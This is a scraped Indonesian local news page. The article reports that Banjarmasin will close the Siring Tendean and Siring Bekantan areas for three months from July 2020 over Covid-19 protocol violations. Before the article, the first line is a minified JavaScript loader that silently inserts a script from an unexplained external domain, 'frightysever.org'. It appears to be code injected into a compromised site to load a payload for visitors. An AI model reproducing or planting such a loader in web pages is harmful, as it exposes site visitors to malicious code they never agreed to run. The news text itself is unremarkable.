(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Mulai Sabtu Ini, Kawasan Siring Tendean Ditutup Selama Tiga Bulan


KANALKALIMANTAN.COM, BANJARMASIN – Pemko Banjarmasin akhirnya mengambil langkah, menyusul membludaknya pengunjung Siring Tendean dan Siring Bekantan dalam beberapa pekan terakhir di tengah merebaknya Covid-19. Terhitung mulai Sabtu (11/7/2020) mendatang, kedua kawasan wisata itu akan ditutup untuk pengunjung selama tiga bulan ke depan.

Kepala Dinas Kebudayaan dan Pariwisata (Disbudpar) Kota Banjarmasin Ehsan Al Haque menjelaskan, keputusan untuk menutup kawasan siring ini adalah meminimalisir potensi penyebaran Covid-19 di tempat umum. Alasan penutupan ini adalah, masih banyaknya pengunjung siring yang tidak mematuhi protokol kesehatan.

“Ternyata dalam beberapa pekan terakhir ini siring ramai, namun tidak memperhatikan protokol kesehatan,” ungkap Ehsan usai mengikuti rapat bersama instansi terkait di ruang kerja Sekretaris Daerah Kota Banjarmasin pada Kamis (9/7/2020) sore.

Anjuran pemerintah seperti pemakaian masker dan menjaga jarak, banyak yang tidak dijalankan pengunjung siring. Bahkan pada pekan lalu, ada pengunjung siring yang termasuk kategori rentan tertular Covid-19, seperti orang tua, bayi dan ibu hamil. Sehingga gugus tugas harus turun tangan memberikan teguran.

“Banyak pengunjung yang tidak memakai masker, bergerombol hingga membawa balita,” tutur Ehsan.
Nantinya, kawasan siring Tendean dan Bekantan akan diberi pagar pembatas, dan juga akan ditempatkan petugas yang mengawasi aktivitas pengunjung. Selain personel Satpol PP, penutupan siring juga akan dijaga aparat TNI-Polri, Dinas Perhubungan dan petugas dari kelurahan setempat.
“Kami tidak menghalangi orang yang mau berolahraga, namun hanya melarang aktivitas di kawasan siring,” ucap Ehsan.

Selain menutup kawasan siring, pemerintah kota juga akan melarang PKL berjualan dan menutup kantong-kantong parkir yang ada di sekitar siring. Hal ini sebagai bentuk keseriusan pemerintah dalam menjaga kesehatan masyarakat. “Kita hanya melarang aktivitas warga di fasilitas milik pemerintah kota,” pungkas Ehsan. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Chell

Desy Arfianty

Recent Posts

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

2 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

6 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

15 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

15 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

17 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

19 jam ago

This website uses cookies.